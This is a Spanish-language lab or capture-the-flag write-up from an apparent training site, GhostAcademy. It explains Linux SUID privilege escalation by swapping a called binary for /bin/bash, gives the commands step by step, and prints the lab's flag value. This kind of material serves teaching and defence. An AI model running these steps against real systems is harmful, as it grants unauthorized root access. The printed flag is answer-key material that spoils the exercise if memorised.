GhostAcademy logo GhostAcademy

Exploiting Setuid Programs

Escalada de Privilegios y Dumping Linux PrivEsc SUID · Binary Hijacking

⚒ ¿Qué es el bit SUID y por qué es peligroso?

El bit SUID (Set User ID) es un permiso especial de Linux que hace que un ejecutable corra con los privilegios de su propietario en lugar de los del usuario que lo lanza. Si el propietario es root y el bit SUID está activo, cualquier usuario del sistema puede ejecutar ese binario con privilegios de root.

Vector clásico de escalada: si un binario SUID llama internamente a otro ejecutable usando una ruta relativa (sin /bin/ o /usr/bin/ por delante), el atacante puede sustituir ese ejecutable por uno malicioso y obtener una shell como root.

Identificar permisos SUID en el listado

PermisoSignificado
-rwsr-xr-xSUID activo: se ejecuta como el propietario (root)
-rwxr-xr-xSin SUID: se ejecuta como el usuario que lo lanza
-rwsr-sr-xSUID + SGID: ejecuta como propietario y grupo

🔧 Comandos del laboratorio

1. Inspección inicial del directorio

bash
ls -l
# welcome tiene -rwsr-xr-x (SUID, propiedad de root)
# greetings es un ejecutable normal

2. Identificar el tipo de binario SUID

bash
file welcome
# ELF 64-bit LSB executable, SUID bit set

3. Análisis del binario con strings

strings extrae cadenas de texto de un binario. Si el binario SUID llama a otro ejecutable, aparecerá su nombre en la salida.

bash
strings welcome
# Se detecta la cadena "greetings" -> welcome ejecuta greetings internamente

4. Buscar todos los binarios SUID del sistema

bash
find / -perm -4000 -type f 2>/dev/null

5. Preparar el exploit (binary hijacking)

Se elimina el binario legítimo greetings y se sustituye por una copia de /bin/bash. Cuando welcome (SUID root) intente ejecutar greetings, lanzará Bash con privilegios de root.

bash
rm greetings
cp /bin/bash greetings

6. Ejecutar el exploit

bash
./welcome
whoami
# root

7. Obtener la flag

bash
cd /root
cat flag
# b92bcdc876d52108778e2d81f3b01494

🗼 Flujo del ataque

1
Detectar binario SUIDls -l o find / -perm -4000 para localizar candidatos.
2
Analizar el binariostrings para descubrir dependencias internas sin ruta absoluta.
3
Sustituir el ejecutableReemplazar el binario llamado por una copia de /bin/bash.
4
Ejecutar el SUIDEl binario SUID lanza nuestra bash con privilegios de root.
5
Leer la flagAcceder a /root/flag con privilegios root.

🎯 ¿Qué buscar? — Indicadores de éxito